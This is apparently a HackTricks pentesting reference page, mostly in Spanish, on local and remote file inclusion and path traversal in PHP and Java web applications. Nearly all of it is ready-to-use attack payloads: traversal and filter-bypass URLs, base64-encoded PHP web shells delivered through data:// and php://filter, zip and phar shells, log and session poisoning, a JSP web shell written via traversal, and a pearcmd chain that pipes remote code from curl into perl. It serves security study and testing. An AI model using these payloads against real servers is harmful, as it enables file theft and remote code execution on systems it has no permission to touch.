37 KiB
File Inclusion/Path traversal
{{#include ../../banners/hacktricks-training.md}}
File Inclusion
Remote File Inclusion (RFI): El archivo se carga desde un servidor remoto (Mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está deshabilitado por defecto (allow_url_include).
Local File Inclusion (LFI): El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.
Funciones PHP vulnerables: require, require_once, include, include_once
Una herramienta interesante para explotar esta vulnerabilidad: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Combinando varias listas LFI de *nix y añadiendo más rutas he creado esta:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}
Intenta también cambiar /
por \
Intenta también añadir ../../../../../
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found here
Windows
Fusión de diferentes wordlists:
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}
Intenta también cambiar /
por \
Intenta también eliminar C:/
y añadir ../../../../../
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found here
OS X
Revisa la lista LFI de linux.
LFI básico y bypasses
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
secuencias de traversal eliminadas de forma no recursiva
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass la adición de más caracteres al final de la cadena proporcionada (bypass of: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Esto está resuelto desde PHP 5.4
Codificación
Puedes usar codificaciones no estándar como double URL encode (y otras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Desde una carpeta existente
Puede que el back-end esté verificando la ruta de la carpeta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Exploración de directorios del sistema de archivos en un servidor
El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad de directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:
- Determine Directory Depth: Asegura la profundidad de tu directorio actual obteniendo con éxito el archivo
/etc/passwd
(aplicable si el servidor es Linux-based). Un ejemplo de URL podría estar estructurado como sigue, indicando una profundidad de tres:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sondea carpetas: Añade el nombre de la carpeta sospechosa (por ejemplo,
private
) a la URL, luego vuelve a navegar a/etc/passwd
. El nivel adicional de directorio requiere incrementar la profundidad en uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret the Outcomes: La respuesta del servidor indica si el directorio existe:
- Error / No Output: El directorio
private
probablemente no existe en la ubicación especificada. - Contents of
/etc/passwd
: Se confirma la presencia del directorioprivate
.
- Recursive Exploration: Los directorios descubiertos pueden ser explorados adicionalmente en busca de subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
Para explorar directorios en diferentes ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si /var/www/
contiene un directorio private
(suponiendo que el directorio actual está a una profundidad de 3), usa:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos al evadir ciertas medidas de seguridad que agregan caracteres adicionales al final de las rutas de archivo. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.
En PHP, diferentes representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
se tratan todas como la misma ruta.- Cuando los últimos 6 caracteres son
passwd
, añadir una/
(convirtiéndolo enpasswd/
) no cambia el archivo objetivo. - De manera similar, si se añade
.php
a una ruta de archivo (por ejemploshellcode.php
), añadir/.
al final no alterará el archivo al que se accede.
Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a /etc/passwd
, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
En estos escenarios, el número de traversals necesarios podría estar alrededor de 2027, pero este número puede variar según la configuración del servidor.
- Using Dot Segments and Additional Characters: Traversal sequences (
../
) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor. - Determining the Required Number of Traversals: A través de prueba y error, se puede encontrar el número preciso de secuencias
../
necesarias para navegar hasta el directorio raíz y luego a/etc/passwd
, asegurando que cualquier cadena añadida (como.php
) sea neutralizada pero que la ruta deseada (/etc/passwd
) permanezca intacta. - Starting with a Fake Directory: Es una práctica común comenzar la ruta con un directorio inexistente (como
a/
). Esta técnica se usa como medida de precaución o para satisfacer los requisitos de la lógica de parsing de rutas del servidor.
When employing path truncation techniques, es crucial entender el comportamiento de parsing de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y las pruebas son a menudo necesarias para encontrar el método más efectivo.
This vulnerability was corrected in PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
En php esto está deshabilitado por defecto porque allow_url_include
está Off. Debe estar On para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si por alguna razón allow_url_include
está On, pero PHP está filtrando el acceso a páginas web externas, according to this post, podrías usar, por ejemplo, el data protocol con base64 para decodificar un b64 PHP code y obtener RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
En el código anterior, el
+.txt
final se añadió porque el atacante necesitaba una cadena que terminara en.txt
, así que la cadena termina con ello y, tras el b64 decode, esa parte devolverá solo basura y el código PHP real será incluido (y, por lo tanto, ejecutado).
Otro ejemplo sin usar el protocolo php://
sería:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento raíz en Python
En Python, en un código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si el usuario pasa una ruta absoluta a file_name
, la ruta anterior simplemente se elimina:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Es el comportamiento previsto según the docs:
Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa a partir del componente de ruta absoluta.
Listado de directorios en Java
Parece que si tienes un Path Traversal en Java y pides un directorio en lugar de un archivo, se devuelve un listado del directorio. Esto no ocurrirá en otros lenguajes (que yo sepa).
Top 25 parámetros
Aquí tienes la lista de los 25 parámetros principales que podrían ser vulnerables a local file inclusion (LFI) (de link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers y protocolos de PHP
php://filter
Los filtros de PHP permiten realizar operaciones básicas de modificación sobre los datos antes de que sean leídos o escritos. Hay 5 categorías de filtros:
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Elimina etiquetas de los datos (todo lo que esté entre los caracteres "<" y ">")- Ten en cuenta que este filtro ha desaparecido en las versiones modernas de PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma a una codificación diferente(convert.iconv.<input_enc>.<output_enc>
). Para obtener la lista de todas las codificaciones soportadas ejecuta en la consola:iconv -l
Warning
Abusando del filtro de conversión
convert.iconv.*
puedes generar texto arbitrario, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. Para más información consulta LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Comprime el contenido (útil si exfiltras mucha información)zlib.inflate
: Descomprime los datos- Encryption Filters
mcrypt.*
: Deprecatedmdecrypt.*
: Deprecated- Otros filtros
- Ejecutando en php
var_dump(stream_get_filters());
puedes encontrar un par de filtros inesperados: consumed
dechunk
: revierte la codificación chunked de HTTPconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La parte "php://filter" no distingue entre mayúsculas y minúsculas
Usando php filters como oracle para leer archivos arbitrarios
In this post se propone una técnica para leer un archivo local sin que el servidor devuelva su contenido. Esta técnica se basa en una exfiltración booleana del archivo (char por char) usando php filters como oracle. Esto es porque php filters pueden usarse para hacer un texto lo bastante grande como para que php lance una excepción.
En el post original encontrarás una explicación detallada de la técnica, pero aquí va un resumen rápido:
- Usa el codec
UCS-4LE
para dejar el carácter inicial del texto al inicio y hacer que el tamaño de la cadena aumente exponencialmente. - Esto se usa para generar un texto tan grande que, cuando la letra inicial se adivine correctamente, php provocará un error
- El filtro dechunk eliminará todo si el primer carácter no es hexadecimal, así que podemos saber si el primer carácter es hex.
- Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al inicio del texto viendo cuándo hacemos suficientes transformaciones para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no la borrará y la bomba inicial provocará el error en php.
- El codec convert.iconv.UNICODE.CP930 transforma cada letra en la siguiente (por ejemplo: a -> b). Esto nos permite descubrir si la primera letra es una
a
, porque si aplicamos 6 veces este codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por tanto dechunk no la elimina y se desencadena el error en php porque se multiplica con la bomba inicial. - Usando otras transformaciones como rot13 al inicio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
- Cuando el char inicial es un número, es necesario codificarlo en base64 y leak las 2 primeras letras para leak el número.
- El problema final es ver cómo leak más que la letra inicial. Usando filtros de orden de memoria como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE es posible cambiar el orden de los chars y poner en la primera posición otras letras del texto.
- Y para poder obtener más datos la idea es generar 2 bytes de junk data al inicio con convert.iconv.UTF16.UTF16, aplicar UCS-4LE para que haga pivot con los siguientes 2 bytes, y eliminar los datos hasta los junk data (esto eliminará los primeros 2 bytes del texto inicial). Continúa haciendo esto hasta alcanzar el byte deseado para leak.
En el post también fue leaked una herramienta para realizar esto automáticamente: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
También puedes usar php://stdin, php://stdout and php://stderr para acceder a los file descriptors 0, 1 and 2 respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
zip:// and rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.
Para poder abusar del protocolo rar, este debe activarse específicamente.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Ten en cuenta que este protocolo está restringido por las configuraciones de php allow_url_open
y allow_url_include
expect://
Expect tiene que estar activado. Puedes ejecutar código usando esto:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique su payload en los parámetros POST:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un archivo .phar
puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como include
para cargar archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Para compilar el archivo .phar
, se debe ejecutar el siguiente comando:
php --define phar.readonly=0 create_path.php
Al ejecutarse, se creará un archivo llamado test.phar
, que potencialmente podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
En casos donde el LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
o filesize()
, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo phar
.
Para una comprensión detallada de cómo explotar vulnerabilidades de deserialización en el contexto de archivos .phar
, consulte el documento enlazado a continuación:
Phar Deserialization Exploitation Guide
{{#ref}} phar-deserialization.md {{#endref}}
CVE-2024-2961
Fue posible abusar de cualquier lectura de archivo arbitraria desde PHP que soporte php filters para obtener un RCE. La descripción detallada puede ser found in this post.
Resumen muy breve: un desbordamiento de 3 bytes en el heap de PHP fue abusado para alterar la cadena de bloques libres de un tamaño específico con el fin de poder escribir cualquier cosa en cualquier dirección, por lo que se añadió un hook para llamar a system
.
Se pudo asignar chunks de tamaños específicos abusando de más php filters.
Más protocolos
Consulta más posibles protocols to include here:
- php://memory and php://temp — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de file inclusion)
- file:// — Acceso al sistema de archivos local
- http:// — Acceso a URLs HTTP(s)
- ftp:// — Acceso a URLs FTP(s)
- zlib:// — Flujos de compresión
- glob:// — Encuentra pathnames que coinciden con un patrón (No devuelve nada imprimible, así que no es muy útil aquí)
- ssh2:// — Secure Shell 2
- ogg:// — Flujos de audio (No útil para leer archivos arbitrarios)
LFI via PHP's 'assert'
Los riesgos de Local File Inclusion (LFI) en PHP son especialmente altos cuando se trata de la función 'assert', que puede ejecutar código dentro de cadenas. Esto es particularmente problemático si se están comprobando entradas que contienen caracteres de directory traversal como ".." pero no se sanitizan correctamente.
Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal así:
assert("strpos('$file', '..') === false") or die("");
Si bien esto pretende detener el traversal, inadvertidamente crea un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
' and die(highlight_file('/etc/passwd')) or '
De manera similar, para ejecutar comandos arbitrarios del sistema, se puede usar:
' and die(system("id")) or '
Es importante URL-encode these payloads.
PHP Blind Path Traversal
Warning
Esta técnica es relevante en casos donde controlas la ruta de archivo de una PHP function que va a acceder a un archivo pero no verás el contenido del archivo (como una llamada simple a
file()
) aunque el contenido no se muestre.
In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
As sumary, the technique is using the "UCS-4LE" encoding to make the content of a file so big that the PHP function opening the file will trigger an error.
Then, in order to leak the first char the filter dechunk
is used along with other such as base64 or rot13 and finally the filters convert.iconv.UCS-4.UCS-4LE and convert.iconv.UTF16.UTF-16BE are used to place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Para los detalles técnicos revisa el post mencionado!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, ..
segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Determine web-exposed directories. Common examples:
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
→ dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
→ dropshell.aspx
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
- Browse to the dropped payload and execute commands.
Notes:
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple
File
/Paths
concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Hardening that defeats this class of bugs:
- Resuelve a una ruta canónica y asegúrate de que sea descendiente de un directorio base permitido.
- Rechaza cualquier ruta que contenga
..
, raíces absolutas, o letras de unidad; prefiere nombres de archivo generados. - Ejecuta el writer con una cuenta de bajo privilegio y separa los directorios de escritura de las raíces servidas.
Remote File Inclusion
Explained previously, follow this link.
Via Apache/Nginx log file
Si el servidor Apache o Nginx es vulnerable a LFI dentro de la función include podrías intentar acceder a /var/log/apache2/access.log
o /var/log/nginx/access.log
, insertar en el user agent o en un GET parameter un php shell como <?php system($_GET['c']); ?>
e incluir ese archivo
Warning
Ten en cuenta que si usas comillas dobles para el shell en lugar de comillas simples, las comillas dobles serán modificadas por la cadena "quote;", PHP lanzará un error allí y nada más se ejecutará.
Además, asegúrate de escribir correctamente el payload o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.
Esto también se podría hacer en otros logs pero ten cuidado, el código dentro de los logs podría estar URL encoded y eso podría destruir el Shell. El header authorisation "basic" contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría ser insertado dentro de este header.
Otros posibles log paths:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Vía Email
Enviar un correo a una cuenta interna (user@localhost) que contenga tu payload PHP como <?php echo system($_REQUEST["cmd"]); ?>
e intenta incluir el archivo de correo del usuario con una ruta como /var/mail/<USERNAME>
o /var/spool/mail/<USERNAME>
Vía /proc/*/fd/*
- Sube muchas shells (por ejemplo: 100)
- Incluye http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del proceso (can be brute forced) y $FD el file descriptor (can be brute forced too)
Vía /proc/self/environ
Como en un archivo de log, envía el payload en el User-Agent; se reflejará dentro del archivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Mediante upload
Si puedes upload un archivo, simplemente inyecta el shell payload en él (p. ej.: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Para mantener el archivo legible, es mejor inyectar en los metadatos de las imágenes/doc/pdf
Vía subida de archivo ZIP
Sube un archivo ZIP que contenga un PHP shell comprimido y accede a:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Mediante PHP sessions
Comprueba si el sitio web usa PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, estas sesiones se almacenan en los archivos /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Establece la cookie en <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Usa el LFI para incluir el archivo de sesión de PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Vía ssh
Si ssh está activo, verifica qué usuario se está usando (/proc/self/status & /etc/passwd) y intenta acceder a <HOME>/.ssh/id_rsa
Vía vsftpd logs
Los logs del servidor FTP vsftpd se encuentran en /var/log/vsftpd.log. En el escenario donde existe una vulnerabilidad de Local File Inclusion (LFI), y es posible acceder a un servidor vsftpd expuesto, se pueden considerar los siguientes pasos:
- Inyecta un payload PHP en el campo username durante el proceso de login.
- Después de la inyección, utiliza la LFI para recuperar los logs del servidor desde /var/log/vsftpd.log.
Vía php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Vía php filters (no se necesita archivo)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
{{#ref}} lfi2rce-via-php-filters.md {{#endref}}
Vía segmentation fault
Sube un archivo que será almacenado como temporal en /tmp
, luego en la misma request provoca un segmentation fault, y entonces el archivo temporal no será eliminado y podrás buscarlo.
{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}
Vía Nginx temp file storage
Si encontraste una Local File Inclusion y Nginx está ejecutándose delante de PHP, podrías obtener RCE con la siguiente técnica:
{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}
Vía PHP_SESSION_UPLOAD_PROGRESS
Si encontraste una Local File Inclusion incluso si no tienes sesión y session.auto_start
está en Off
. Si proporcionas el PHP_SESSION_UPLOAD_PROGRESS
en datos multipart POST, PHP habilitará la sesión por ti. Podrías abusar de esto para obtener RCE:
{{#ref}} via-php_session_upload_progress.md {{#endref}}
Vía temp file uploads en Windows
Si encontraste una Local File Inclusion y el servidor está ejecutándose en Windows, podrías obtener RCE:
{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}
Vía pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.
La siguiente request crea un archivo en /tmp/hello.php
con el contenido <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Lo siguiente abusa de una vuln CRLF para obtener RCE (desde here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Mediante phpinfo() (file_uploads = on)
Si encontraste una Local File Inclusion y un archivo que expone phpinfo() con file_uploads = on, puedes obtener RCE:
{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}
Mediante compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si encontraste una Local File Inclusion y puedes exfiltrar la ruta del archivo temporal PERO el servidor está comprobando si el archivo a incluir tiene marcas PHP, puedes intentar evadir esa comprobación con esta Race Condition:
{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}
Mediante eternal waiting + bruteforce
Si puedes abusar del LFI para upload temporary files y hacer que el servidor hang la ejecución de PHP, podrías entonces brute force filenames during hours para encontrar el archivo temporal:
{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}
Hacia un Fatal Error
Si incluyes cualquiera de los archivos /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Necesitas incluir el mismo 2 veces para provocar ese error).
No sé cómo puede ser útil esto, pero podría serlo.
Incluso si provocas un PHP Fatal Error, los archivos temporales de PHP subidos se eliminan.

Referencias
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}
{{#include ../../banners/hacktricks-training.md}}